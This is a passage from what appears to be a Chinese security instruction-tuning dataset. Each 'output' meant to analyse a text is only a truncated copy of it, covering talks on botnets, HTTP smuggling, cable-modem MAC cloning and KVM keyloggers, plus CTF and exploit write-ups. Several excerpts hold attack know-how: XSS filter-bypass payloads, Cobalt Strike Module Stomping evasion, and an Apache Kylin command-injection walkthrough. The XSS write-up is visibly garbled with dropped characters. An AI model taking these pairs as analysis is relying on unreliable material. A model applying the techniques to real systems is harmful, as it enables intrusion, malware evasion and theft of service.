分...............................................................................8 7. Web-兵者多诡异........................................................................................13 8. Crypto-Crypto So Interesting...................................................................14 9. Pwn-就是干................................................................................................ 14 Level3..........................................................................................................................23 1. Misc-48 小时如何快速精通 c++...............................................................23 2. Web-香港记者还要快..................................................................", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBotnet and Malware behavior analysis 蔡一郎 2010/07/17 Honeynet Project Taiwan Chapter www.honeynet.org.tw 蔡一郎 Steven 學歷國立成功大學電機工程研究所碩士 現任國家高速網路與計算中心 副工程師 重要經歷 國立成功大學研究發展基金會助理研究員 崑山科技大學兼任講師 台南科學園區產學協會理事 Honeynet Project Taiwan Chapter負責人 自由作家 電腦圖書著作33本 Information Security(資安人)Linux GuideNetAdmin專欄計60餘篇 專業證照 RHCECCNACCAICEHCHFIACIAITIL FoundationISO 27001 LACISO 20000 LAC 2 Google Me. Honeynet Project Taiwan Chapter www.honeynet.org.tw Outline Honeynet and Botnet Honeynet Project introduction Taiwan Chapter introduction What is Honeypot and Honeynet Honeynet Project Tools TWMAN 3 Honeynet Project Taiwan Chapter www.honeynet.org.tw Where can find Malware sample? UserproviderHoneynet What is the behavior about Botnet? Network connectionsystem modify Multi Function bots 4 Honeynet and Botnet Honeynet Project Taiwan Chapter www.honeynet.org.tw Non-profit (501c3) organization with Board of Directors. Funded by sponsors Global set of diverse skills and experiences. Open Source, share all of our research and findings at no cost to the public. Deploy networks around the world to be hacked. Everything we capture is happening in the wild. We have nothing to sell. 5 Honeynet Project introduction Honeynet Project Taiwan Chapter www.honeynet.org.tw A community of organizations actively researching, developing and deploying Honeynets and sharing the lessons learned. Awareness: 增進企業與組織對存在於現行網路上的威脅與 弱點之了解進一步思考如何去減輕威脅的方法 Information: 除了提供基本的攻擊活動外進一步提供更關 鍵性的資料如: 攻擊動機駭客間如何聯絡駭客攻破主機 後下一步的攻擊動作 Tools: Honeynet Project 致力於發展 Open Source Tools藉 由這些Tools我們可以更有效率的佈建誘捕系統了解網路環 境攻擊威脅現況 6 Honeynet Project Mission Honeynet Project Taiwan Chapter www.honeynet.org.tw 7 Honeynet Project 全球支會分布 Taiwan Chapter Honeynet Project Taiwan Chapter www.honeynet.org.tw What is a Honeynet ? High-interaction Honeypot It is an architecture, not a product or software Populate with live systems Once compromised, data is collected to learn the tools, tactics, and motives of the ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nHiding Wookiees in HTTP @regilero HTTP smuggling is a thing we should know better and care about. DEFCON 24 Why wookiees? It's all about smugglers, wookiee requests and responses Wookiee language is a thing hard to speak Easy to misinterpret Outline The minimum required on HTTP (Keep-alive, pipelining) What is HTTP smuggling, exploitations Some recent attack vectors HTTP 0.9 Demos: credential hijacking & cache poisoning without a cache A tool : HTTPWookiee whoami @regilero (twitter / stack Overflow / Github) I work in a small French Free Software web company, Makina Corpus (50p). I'm a DevOp (I was a DevOp before the start of this millenium). Web Security is a small part of my day job, and spare time. If I can do it, others might have done it. Why did I start testing my HTTP tools? I really like working with Open Source HTTP servers and proxies I found 2 interesting papers: HTTP Host header real world attacks : http://www.skeletonscribe.net/2013/05/practical-http- host-header-attacks.html (2005) HTTP smuggling study : http://www.cgisecurity.com/lib/HTTP-Request- Smuggling.pdf HTTP Smuggling: Protocol level Attack Injection of hidden HTTP message (request or response) inside another These are usually not browser-based exploits Crafting low level HTTP messages By definition, most available tools will NOT generate these bad messages Usually, get errors without consequences... but not always Before we start: Keepalives and Pipelines 1 TCP/IP connection per resource Big perf killer By the way (and this is still true), the connection ending is complex So, Keepalive The SYN, SYN/ACK, ACK is made only once, connection is kept open May be reused for next exchange If you do not use HTTP/2, chances are this is what your browser does Pipelines, source of most smuggling issues Not really used But supported by servers Still have to wait if one response is big (Head of line blocking) Wonder why HTTP/2 finally used a real binary multiplexing prot", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n0x01利编辑器的超链接组件导致存储XSS 鄙太菜了没啥质量的洞呀随便篇章吧 在的夜晚某骇客喊我起床挖洞偷瞄了下发现平台正好出活动了想着试吧 先信息收集了下发现个奇怪了域名引起了我的注意访问后发现是个投稿平台可以发布章到后台 进审核 使账户登录进系统就能发现处章管理 第时间就想到发布章再观察系统中发现个不知名的编辑器知道的可以说下存在 超链接 功能 那么就尝试利下吧 在超链接中注伪协议来构造xss 这有个细节就是下的按钮 1. 当处于开启状态时触发超链接按钮后会在新窗中执跳转操作 2. 当处于关闭状态时触发超链接按钮后会在当前站中执javascript操作 所以这就需要关闭掉 发布章后可以看到在正中成功触发javascript 因为这我是直接插的超链接 所以中是处于纯状态 0x02章正处的存储XSS绕过 来到新建章中就是上payload鄙很菜挖XSS都是框就X 在标题处和正中输payload点击提交开启burpsuite抓包 可以看到运作过程是先进前端HTML实体编码处理 这边只要重新替换掉payload就可以达到绕过的效果了 访问发布的章后成功触发XSS 此两个存储XSS提交上去收睡觉 0x03编辑器中的媒体组件导致存储XSS 经过上回的两个存储XSS我觉得还没完第天继续看果然功夫不负有 在测试编辑器的其他功能后发现媒体功能插的资源地址可以回显在 添加络资源 其过滤了很多了标签事件但并不妨碍我们通过burp进FUZZ 选择嵌式媒体经过反复测试构造如下payload x\"> 提交章后访问url 成功触发 0x04编辑器中的媒体组件导致存储XSSBypass 前的漏洞均已提交过了天就修复了本来以为这样就结束了然事情并不如此 既然修复了那么真男就该尝试绕过根据0x03的操作步骤重新打了遍发现其中的种种过滤问题 1. 过滤了alert脚本函数 2. 过滤了不少js事件但Onfinish事件没有过滤 标签也没有进过滤 这个开发估计也是偷懒了过滤做的拉胯的批那我们就对症下药更换 最后也是如愿以偿的执了 因为业务线那边的修复状态原因前还不便更新该站的绕过只能步 x\">var a=`Hello${alert(1)}` ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n我的CS笔记之- In-memory Evasion 4-5 0x00 前言 In-memory Evasion 4-5其中包含了威胁模拟的介绍大致意思就是通过修改c2profile模仿真实APT的样 本会产生的特征行为等也不是百分百模拟就是模拟了一下yara规则中的静态特征感兴趣的小伙伴 自行学习我就不做笔记了除了威胁模拟视频中还介绍了cs3.11引入 的一些内存对抗新功能主要是 Module Stomping和cleanup这2个功能这里不由感叹一句自从CS被卖了以后的更换了老大以 后更新越来越不行了还开始搞java代码混淆class完整性校验多把精力花在怎么进化CS上吧 @Joe Vest @Greg Darwinps:虽然这俩肯定是看不到这个文档的 言归正传我主要记录Module Stomping和cleanup这2个功能 0x01 Module Stomping和cleanup 我们首先回忆一下In-memory Evasion 2中的stageless payload加载过程中的 1. 申请一个块儿内存allocate memory 2. 复制Stager去这一块儿内存里 3. 创建一个线程运行这个Stager 4. 这个Stager会再次申请一块儿内存 5. Stager去下载加密的payload写入申请的内存中 6. Stager把执行流程转递给这个加密的payload 7. 加密的payload自解密成Reflective DLL 8. 然后把执行流程传递给Reflective DLL 9. Reflective DLL 申请一块儿内存 10. 然后初始化自己在新的内存里面 11. 最后reflective DLL 调用payload的入口点函数 上面的步骤分配了2次内存在内存中如图所示 1-3 我们可以使用artifact kit做自定义处理但是9-11就很麻烦9-11是一个反射DLL这个反射dll包含2 部分一部分是反射loader一部分是beacon的功能9-10就是使用反射loader来加载beacon功能的 过程这儿也是被防御查杀拦截的重点我开始对CS4.4新的自定义反射dll loader kit理解错误也是这 儿cs4.4这个自定义kit自定义的只是这个反射loader并不包含beacon的功能而BeaconEye的查杀 点是Beacon功能中的行为因此cs4.4这个kit也不能直接对抗BeaconEye这个kit并不包含自定义 Beacon功能回归正题我们的Module Stomping是怎么在9-11中起作用的 我们知道反射DLL分为反射dll loader和beacon的功能在loader加载功能的时候我们就可以做很多事 情Module Stomping就是在这个过程中起作用的 我们再看看Module Stomping具体是什么技术很简单就是导入一个系统上正常的DLL进入内存 中然后替换内存内容为我们的beacon功能这样可以避免使用虚拟内存分配函数virtualAlloc等同时 让beacon功能看上去很像一个正常DLL这里面存在几个问题 导入的DLL不能太小太小导致内存空间小不能够完全复制我们的beacon功能进去 同一个DLL在不同系统上的大小可能是不一样有些dll在win10上很大08上只有1/3大小因此 你上线win10正常上线08可能就crash了 这个系统的DLL必须有导出函数因为反射loader需要通过导出函数去找DLL在内存中的位置 当然反射loader也有一些防止出错的机制 Author: L.N. / Date: 2021-09-07 Produced by AttackTeamFamily No. 1 / 2 - Welcome to www.red-team.cn 如果配置的系统DLL不存在会返回使用VirtualAlloc 如果配置中的DLL已经被进程导入了会返回使用VirtualAlloc 使用前用一定要用c2lint测试一下 当然了我们写入到内存的beacon代码也是可以开启混淆的因为Module Stomping功能具有一定隐蔽 性因此适合长期潜伏通道同时这个功能也不适合高频次的操作操作多容易出错 我们再回到1-3步中的如果不使用artifact kit自定义使用默认的stageless初始化的时候就存在一次内 存申请申请的内存在后面其实是不会使用了但是也没有释放因此很容易被拿去做内存扫描特征 如果我们设置了cleanup就会调用VirtualFree释放这个初始化过程中的内存 我们开启这3个配置 也是被混淆的 RWX当然也可以通过c2profile配置进行规避 0x02 总结 这个In-memory Evasion系列视频是作者2018年录制的也是cs3", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nexport === 为shell变量或函数设置导出属性 ## 概要 ``` export [-fn] [name[=word]]... export -p ``` ## 主要用途 - 定义一到多个变量并设置导出属性 - 修改一到多个变量的值并设置导出属性 - 删除一到多个变量的导出属性 - 显示全部拥有导出属性的变量 - 为一到多个已定义函数新增导出属性 - 删除一到多个函数的导出属性 - 显示全部拥有导出属性的函数 ## 选项 ```shell -f指向函数 -n删除变量的导出属性 -p显示全部拥有导出属性的变量 -pf显示全部拥有导出属性的函数 -nf删除函数的导出属性 --在它之后的选项无效 ``` ## 参数 name可选变量名或已定义函数名 value可选变量的值 ### 返回值 export返回true除非你提供了非法选项或非法名称 ## 例子 ```shell # 显示全部拥有导出属性的变量 # export -p # export # 显示全部拥有导出属性的函数 # export -pf ``` ```shell # 首先删除要演示的变量名 #unset a b # 定义变量的同时增加导出属性 export a b=3 # 当然也可以先定义后增加导出属性 b=3 export b # 修改拥有导出属性的变量的值 export a=5 b=7 # 当然也可以直接赋值修改 a=5;b=7 # 删除变量的导出属性 export -n a b ``` ```shell # 首先删除要演示的函数名 unset func_1 func_2 # 创建函数 function func_1(){ echo '123'; } function func_2(){ echo '890'; } # 为已定义函数增加导出属性 export -f func_1 func_2 # 删除函数的导出属性 export -fn a b ``` ```shell # 添加环境变量JAVA到`~/.bashrc` PATH=/usr/local/jdk1.7.0/bin:$PATH # 添加当前位置到动态库环境变量 export LD_LIBRARY_PATH=$(pwd):${LD_LIBRARY_PATH} ``` ## 错误用法 - 对未定义的函数添加导出属性 - 对没有导出属性的函数/变量执行删除导出属性操作 - 在 `--` 后使用选项 ## Q&A #### Q对变量或函数设置导出属性有什么用 A它们会成为环境变量可以在脚本中访问它们尤其是脚本中调用的子进程需要时 **[参考链接4][4]** #### Q如果我编写的脚本修改了已有的环境变量的值那么执行它会在当前终端生效吗会影响之前以及之后打开的终端吗 A只有通过`source`方式调用的脚本会生效您可以查看`source`命令获得更多信息其他方式只是在子shell中执行 之前的不会影响之后的除非是修改了`~/.bashrc`这种启动终端时加载的脚本 **[参考链接1][1]** #### Q我脚本文件中调用`~/.bashrc`中定义的函数和变量为什么在新打开的终端中通过 `sh` 方式调用该脚本或直接运行 这个当前用户有执行权限的脚本却不能使用这些函数和变量 A请在`~/.bashrc`文件中增加export它们的语句另请参阅 **知识点** 段落 #### Q数组和关联数组也可以设置导出属性吗 A是可以的如果你的bash支持它们不过有些问题 **[参考链接2][2]** #### Q为什么我在查看变量或函数导出属性的时候显示的开头是`declare` A因为`declare`也能够设置变量或函数的导出属性详见`declare`命令 ### 注意 1. 该命令是bash内建命令相关的帮助信息请查看`help`命令 ### 知识点 在`info bash`或 [bash在线文档](http://www.gnu.org/software/bash/manual/bash.html) 的 `3.7.3`节提到了shell执行环境其中涉及变量和函数的内容如下 > - shell parameters that are set by variable assignment or with set or inherited from the shells parent in the environment > - shell functions defined during execution or inherited from the shells parent in the environment 那么第一句话中的参数又和变量有什么关系呢在`3.4`节第一段中提到 > A varia", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 http://www.soldierx.com/defcon16speech/docsis_insecure_by_design-blake_durandal.ppt Humor 2 Maybe Ted Stevens has a series of hacked modems and a drop amp at his place. Could this be the reason he thinks that the internet is a series of tubes? Background Personal Conducted SIPRNET Administration and Red Team Penetration Testing for the USMC. I currently do research for SERC (Software Engineering Research Center), an NSF Industry/University Cooperative Research Center. Speech A much shorter version of this presentation was given at the Spring 2008 SERC Showcase. Various people (such as Durandal from SOLDIERX) have used the methods in this Defcon presentation to put and keep modems online. 3 What This Speech Will Cover Requirements (for our examples) Network Overview Anonymous Access Gaining service with a non provisioned MAC address Cloning a HFC MAC linked to an ISP account How Anonymous You Really Are How close ISPs can pinpoint your location as well as techniques to catch people abusing/stealing service Firmware Overview Hardware and Security Specifications, firmware disassembly, current and future security solutions 4 Requirements What do you need for our examples? Coaxial connection to the cable company JTAG cable MIPS EJTAG (Enhanced Joint Test Action Group) - USB Cypress or FTDI based JTAG (Fast) - Parallel buffered/unbuffered JTAG (Slow) SB5100/5101 cable modem Other modems can be modified Soldering Skills + 10 pin header YouTube is an excellent resource for soldering reference Applications for flashing the firmware onto a modem Parallel - Schwartze Katze by tcniso.com USB - USB JTAG from usbjtag.com 5 Requirements In Depth Cable connection EJTAG Cable Easy to make Available online USBJtag Difficult to make Really fast 6 Requirements In Depth (contd) 7 Requirements In Depth (contd) Modify the SB5100/5101 or buy a Premod (available from sites like www.sbhacker.net) 8 Requirements In Depth (contd) Program the SB5100/5101", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n.\\\" Copyright (c) 1980, 1990 The Regents of the University of California. .\\\" All rights reserved. .\\\" .\\\" Redistribution and use in source and binary forms, with or without .\\\" modification, are permitted provided that the following conditions .\\\" are met: .\\\" 1. Redistributions of source code must retain the above copyright .\\\" notice, this list of conditions and the following disclaimer. .\\\" 2. Redistributions in binary form must reproduce the above copyright .\\\" notice, this list of conditions and the following disclaimer in the .\\\" documentation and/or other materials provided with the distribution. .\\\" 3. All advertising materials mentioning features or use of this software .\\\" must display the following acknowledgement: .\\\" This product includes software developed by the University of .\\\" California, Berkeley and its contributors. .\\\" 4. Neither the name of the University nor the names of its contributors .\\\" may be used to endorse or promote products derived from this software .\\\" without specific prior written permission. .\\\" .\\\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND .\\\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE .\\\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE .\\\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE .\\\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL .\\\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS .\\\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) .\\\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT .\\\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY .\\\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF .\\\" SUCH DAMAGE. .\\\" .\\\" from: @(#)biff.1 6.5 (Berkeley) 3/14/91 .\\\" .TH BIFF 1 1999-07-31 GNU .Dd July 31, 1999 .Dt BIFF 1 .Os \"Linux NetKit (0.16)\" .Sh \"名称 (NAME)\" .Nm biff .Nd \"新到邮", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nKey-Logger, Video, Mouse How to turn your KVM into a raging key-logging monster MEETTHETEAM Yaniv Balmas This should theoretically work Security Researcher Lior Oppenheim The mad scientist Check Point Software Technologies Check Point Software Technologies Security Researcher TOOMANYCOMPUTERS Computers More computers A LOT OF COMPUTERS WHATISKVM? Keyboard, Video, Mouse KVM Connects the same Keyboard, Video and Mouse to one or more computers. KVMEVOLUTION 1981 `A-B Switch` 2002 Desktop KVM 2015 Enterprise KVM WHEREARETHEY? On top of your server racks. On your desktop. In your security centres. KVMS ARE EVERYWHERE!! Introducing Gen-KVM ITRUNSCODE On screen configuration display. Configurable hot-keys. Control device functionality through keyboard. Exploitable? + + = First Attempt (Funny meme here) SOFTWARE Opening the KVM box. Manuals, Cables, Warranty and CD CD contains A Firmware Upgrade Utility! Can the firmware be extracted from the upgrade utility?! Since x86 is no new territory. we can reverse engineer this! MEETTHEBLOB Low Entropy No Strings Undetermined Freq. Analysis FAIL! SERIALSNIFF Firmware upgrade process is done via a custom serial connection. It is possible to extract the (possibly) decoded firmware binary from the serial protocol. Its just a matter of analyzing the serial protocol. PROTOCOLANALYSIS 46 55 a3 00 03 63 40 d7 85 85 32 ea e2 01 6b 85 FU..c@ÖÖ2Í.kÖ 32 a6 d9 d6 e5 df 55 a6 d5 22 04 d6 cd 05 d5 96 2ŸÂflU\".Õ.ñ 27 85 85 d7 40 a5 d7 32 01 32 e2 85 6b ea 85 d9 'ÖÖ@2.2ÖkÍÖŸ df d5 e5 a6 55 d6 a6 04 2d 27 cd 22 d5 d6 96 85 flÂU.-'Õ\"ñÖ a5 01 40 85 d7 d7 81 .@ÖÅ 46 55 23 00 03 63 00 24 FU#..c.$ From Device To Device Fixed Header OpCode Handshake Data Transfer 46 55 90 00 44 49 b8 FUê.DI 46 55 10 00 43 ** 2d 31 ** ** 34 41 2f 31 ** ** FU..C*-1**4A/1** 32 41 00 00 4d 41 49 4e 00 00 00 56 34 32 52 34 2A..MAIN...V42R4 31 37 56 31 30 52 30 38 31 57 37 38 45 36 35 00 17V10R081W78E65. 00 a2 . 46 55 a0 00 43 54 d2 FU.CT 46 55 20 00 00 bb FU ..ª 46", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nFreeCulture.org Student movement for free culture free speech free software free culture FreeCulture.org, Inc. P.O. Box 140657 Gainesville, FL 32614-0657 U.S.A. freedom@freeculture.org http://freeculture.org/ FreeCulture.org is a non-profit organization dedicated to promoting and facilitating student involvement in the free culture movement. Launched in April 2004 at Swarthmore College in Pennsylvania, FreeCulture.org has helped establish student groups at colleges and universities across the United States. Today, Free Culture groups exist at nine colleges, with more starting around the world. Founded by two Swarthmore students after suing voting-machine manufacturer Diebold in 2003 for abusing copyright law, FreeCulture.org takes its name from the book Free Culture by Stanford University professor Lawrence Lessig. FreeCulture.org is part of this growing movement, with roots in the free software community, free speech advocates, civil libertarians, media activists, and others. FreeCulture.org is non-partisan and run by the volunteer efforts of students themselves. Each Free Culture campus group is autonomous, and diverse in their interests. Groups with which FreeCulture.org has collaborated include the Electronic Frontier Foundation (EFF), Public Knowledge, Creative Commons, and Downhill Battle. We need your help. Your time, your comments, or your donation help keep us operating and able to help students organize to have a voice in their culture. Your ideas and advice help guide our decision. Please visit our Web site, or join our mailing lists, and help contribute to the discussion. Your effort as a volunteer is vital to our work. Can you help design and administer our Web site? Can you help develop free software tools? Can you help us research issues? Can you help us translate into other languages? Please visit our Web site and see how to lend a hand. We are always interested in new campus groups. If youd like to start a group at your school, please ask us, and we", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n資安攻防遊戲 觀念名詞解釋 GD & Desnet Platfor m 運作 平台 Social 社交互動 Platform 系統平台 軟體服務 Service Crypto 加密算法 資安 攻防 層級 CTF 資安攻防遊戲 (Capture The Flag) 模擬真實世界的駭客攻防 現場 4~8 人組隊共 8~20 隊伍 封閉網路 每隊一台主機 若干服務 購物網站 (flag 在會員資料庫中) 電子郵件 (flag 在機密信件中) 線上遊戲 (flag 在任務關卡寶物中) 防守:維持服務在線 阻止flag被偷 五分鐘一個 round 計算 flag 數量 攻擊:設法偷取其他隊伍服務 flag flag 成功送計分版 平分失手隊分數 資安生命週期 新服務上線 建構防護機制 服務遭受攻擊 減緩攻擊 修復服務 規則 A 四種層級9 大防守技術24 種攻擊技術 3 Rounds per Game 5 Actions per Round Install : New Server Cards to generate points. Defense : Protect your Servers. Attack : Hack opponents for points. Mitigation : Repair damage and keep your services alive. Scoring Round Gain points for server status of at the end of each round. 伺服器卡 傷害卡 防禦卡 攻擊卡", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Anonymous Category: Steganography ## Description > **Blast from the Past challenges series** > > In 2017, Anonymous hacked lectures and tutorials to promote the 2nd faculty party, they even hid a message in one of the frames... A PNG file was attached. ## Solution Running `zsteg` on the file reveals the flag: ```console root@kali:/media/sf_CTFs/technion/Anonymous# zsteg anon.png b1,g,lsb,xy .. file: dBase III DBT, version number 0, next free block index 3183084812 b1,g,msb,xy .. file: dBase III DBT, version number 0, next free block index 3177029680 b1,b,msb,xy .. file: dBase III DBT, version number 0, next free block index 4196096609 b1,rgb,lsb,xy .. file: dBase III DBT, version number 0, next free block index 2532068640 b2,g,lsb,xy .. file: dBase III DBT, version number 0, next free block index 3148544642 b2,g,msb,xy .. file: dBase III DBT, version number 0, next free block index 3713359681 b2,b,lsb,xy .. file: dBase III DBT, version number 0, next free block index 3837465664 b2,rgba,lsb,xy .. text: \"cstechnion{d0_n0t_b3c0m3_4_m4ch1n3_maN}\" b3,r,lsb,xy .. file: MacBinary, more flags 0x7, Mon Feb 6 08:28:16 2040 INVALID date, modified Mon Feb 6 08:28:16 2040, type ' ' \"I$\\222H$\\022A\\004\\020H$\\020I$\" b3,g,msb,xy .. file: dBase III DBT, version number 0, next free block index 2454414338 b3,b,msb,xy .. file: StarOffice Gallery theme l\\0216h, 0 objects b3,rgb,msb,xy .. file: 0420 Alliant virtual executable not stripped b4,r,lsb,xy .. file: raw G3 (Group 3) FAX, byte-padded b4,g,lsb,xy .. text: \"2211#\\\"21\\\"\" ``` The flag: `cstechnion{d0_n0t_b3c0m3_4_m4ch1n3_maN}`", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nThe SOA/XML Threat Model and New XML/SOA/Web 2.0 Attacks & Threats Steve Orrin Dir of Security Solutions, SSG-SPI Intel Corp. Agenda Intro to SOA/Web 2.0 and the Security Challenge The XML/SOA Threat Model Details on XML/Web Services & SOA Threats Next Generation and Web 2.0 Threats The Evolving Enterprise and Environment Summary Q&A What is SOA? A service-oriented architecture is essentially a collection of services. These services communicate with each other and the communication can involve either simple data passing or direct application execution also it could involve two or more services coordinating some activity. What is a Service? A service is a function that is well-defined, self-contained, and does not depend on the context or state of other services. What is a Web Service? Typically a web service is XML/SOAP based and most often described by WSDL and Schemas. In most SOA implementations a directory system known as UDDI is used to for Web Service discovery and central publication. What is Web 2.0? Web 2.0, a phrase coined by Tim O'Reilly and popularized by the first Web 2.0 conference in 2004, refers to a second generation of web-based communities and hosted services such as social-networking sites, wikis and folksonomies which facilitate collaboration and sharing between users. Although the term suggests a new version of the World Wide Web, it does not refer to an update to Web technical specifications, but to changes in the ways software developers and end-users use the web as a platform. Characteristics of Web 2.0 The transition of web-sites from isolated information silos to sources of content and functionality, thus becoming computing platforms serving web applications to end-users A social phenomenon embracing an approach to generating and distributing Web content itself, characterized by open communication, decentralization of authority, freedom to share and re-use, and \"the market as a conversation\" Enhanced organization and categorization ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# 研究方向与相关研究者 ## 目录 [TOC] ## 研究方向与项目 整理一些安全数据分析AI驱动安全相关的研究方向与项目 ### 研究方向 以下来自[郑涵](https://zhuanlan.zhihu.com/p/88042567)师傅的文章 - 通过LSTM自动生成webshell黑样本 - 基于GAN网络绕过现有深度学习AV检测模型 - 基于遗传优化算法的的自动化0day样本生成 - 基于贝叶斯信念网络的入侵回溯推理 - 通过攻击链路中已回溯出来的信息进程网络文件横向关联其他被这个团伙入侵的机器然后继承他们的入侵原因 --- 以下来自[404](https://github.com/404notf0und/FXY/blob/master/docs/%E9%9C%80%E6%B1%82%E5%92%8C%E8%AE%BE%E8%AE%A1.md)师傅的文章 - LSTM识别恶意HTTP请求@cdxy - AI-Driven-WAF@exp-db - Phishing URL Classification@surajr - 使用深度学习检测XSS@Webber - 基于深度学习的恶意样本行为检测@ApplePig@360云影实验室 ### 相关项目 #### 关于数据源 参考本文档的[开放安全数据集整理](https://y1ng.org/TheRoadOfSO/0x4_%E5%AE%89%E5%85%A8%E6%95%B0%E6%8D%AE%E5%88%86%E6%9E%90/%3E%3E%3E%20%E6%95%B0%E6%8D%AE%E9%9B%86/0x0_%E5%BC%80%E6%94%BE%E5%AE%89%E5%85%A8%E6%95%B0%E6%8D%AE%E9%9B%86%E6%95%B4%E7%90%86/) #### 学习笔记和资料整合 - [AI-for-Security-Learning](https://github.com/404notf0und/AI-for-Security-Learning) - 安全场景基于AI的安全算法和安全数据分析学习笔记偏工程类学习笔记持续阅读保持对业界技术的跟进和迭代[404 Not Found](https://4o4notfound.org/)师傅的整理一个学习笔记 - [Security Data Science Learning Resources](https://medium.com/@jason_trost/security-data-science-learning-resources-8f7586995040) - 国外研究者[Jason Trost](http://www.covert.io/)整理的安全数据科学学习资料 ## 相关研究者与团队 安全数据分析是一个较为前沿和专业的领域入门的门槛相对较高整理相关研究者信息的目的也是为了能看到这个领域内他人的研究大概方便初学者看到方向 ### 国内 #### 个人 \\[1] cdxy徐越, 阿里云 安全工程师企业安全/入侵检测与响应 数据分析/机器学习爱好者[知乎](https://www.zhihu.com/people/xu-le-zhen-13) \\[2] ailx10[知乎](https://www.zhihu.com/people/ailx10/columns) \\[3] 404 Not F0und蚂蚁金服有同名公众号 \\[4] tanjiti碳基体[个人博客](https://tanjiti.github.io/about/)在[百度](https://www.baidu.com/)做安全产品研发业余专注在入侵检测与大数据安全分析 \\[5] wstart[先知社区](https://xz.aliyun.com/u/395) \\[6] 郑瀚Andrew_Hann阿里云盾机器学习与网络安全[知乎](https://www.zhihu.com/people/ai-shai-tai-yang-de-feng-51/posts)[博客园](https://www.cnblogs.com/LittleHann/) \\[7] 邹先生[freebuf](https://www.freebuf.com/author/%E9%82%B9%E5%85%88%E7%94%9F007) \\[8] 四个菜CSDN[xbs118](https://blog.csdn.net/qq_38262728) \\[9] six[语雀](https://www.yuque.com/u447199)[论文笔记](https://www.yuque.com/u447199/fnixs3) \\[10] 黄诚[个人主页](http", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n环境搭建 ubuntu docker 8g docker pull apachekylin/apache-kylin-standalone:4.0.0 docker run -d \\ -m 8G \\ -p 7070:7070 \\ -p 8088:8088 \\ -p 50070:50070 \\ -p 8032:8032 \\ -p 8042:8042 \\ -p 2181:2181 \\ -p 5005:5005 \\ apachekylin/apache-kylin-standalone:4.0.0 5005是远程调试端口 Kylin 页面http://127.0.0.1:7070/kylin/login admin KYLIN HDFS NameNode 页面http://127.0.0.1:50070 YARN ResourceManager 页面http://127.0.0.1:8088 具体看官方的docker安装文档 https://kylin.apache.org/cn/docs/install/kylin_docker.html 远程调试配置修改 /home/admin/apache-kylin-4.0.0-bin-spark2/bin/kylin.sh 在retrieveStartCommand函数修改 $JAVA ${KYLIN_EXTRA_START_OPTS} ${KYLIN_TOMCAT_OPTS} -Xdebug - Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005 -classpath ${KYLIN_TOMCAT_CLASSPATH} org.apache.catalina.startup.Bootstrap start >> ${KYLIN_HOME}/logs/kylin.out 2>&1 & echo $! > ${KYLIN_HOME}/pid & 分析 在 org.apache.kylin.rest.controller.DiagnosisController#dumpProjectDiagnosisInfo 中 跟进dumpProjectDiagnosisInfo 这里getProject()通过 ValidateUtil.convertStringToBeAlphanumericUnderscore(project) 处理但 是 runDiagnosisCLI(args) 中接受的cmd参数仍然是通过project传过来的相当于命令行可控 而且 getProject(ValidateUtil.convertStringToBeAlphanumericUnderscore(project)) 将传入的命 令进行如下处理将除数字字母下划线以外的东西替换为空比如传入命令为 touch 123 将被 替换为 touch123 public static String convertStringToBeAlphanumericUnderscore(String toBeConverted) { return toBeConverted.replaceAll(\"[a-zA-Z0-9_]\", \"\"); } 刚好解决 projectInstance==null 抛出异常的问题 if (null == projectInstance) { throw new BadRequestException( String.format(Locale.ROOT, msg.getDIAG_PROJECT_NOT_FOUND(), project)); } 最后执行的命令如下 再来看创建项目的地方 org.apache.kylin.rest.controller.ProjectController#saveProject 项目名进行 ValidateUtil.isAlphanumericUnderscore() 校验不能有数字字母下划线以外的东 西 完整的利用方式如下以执行命令 touch 123 为例 先创建项目项目名为 touch123 接下来触发命令执行 执行成功 修复方式 git的diff 传入cmd的参数改为projectName而非http传入的projectprojectName经过了 convertStringToBeAlphanumericUnderscore() 处理所以无法输入非字母数字下划线的字符来触 发命令执行 总结 巧妙利用两个函数对于参数处理的特性来进行命令执行值得一学 参考 1. 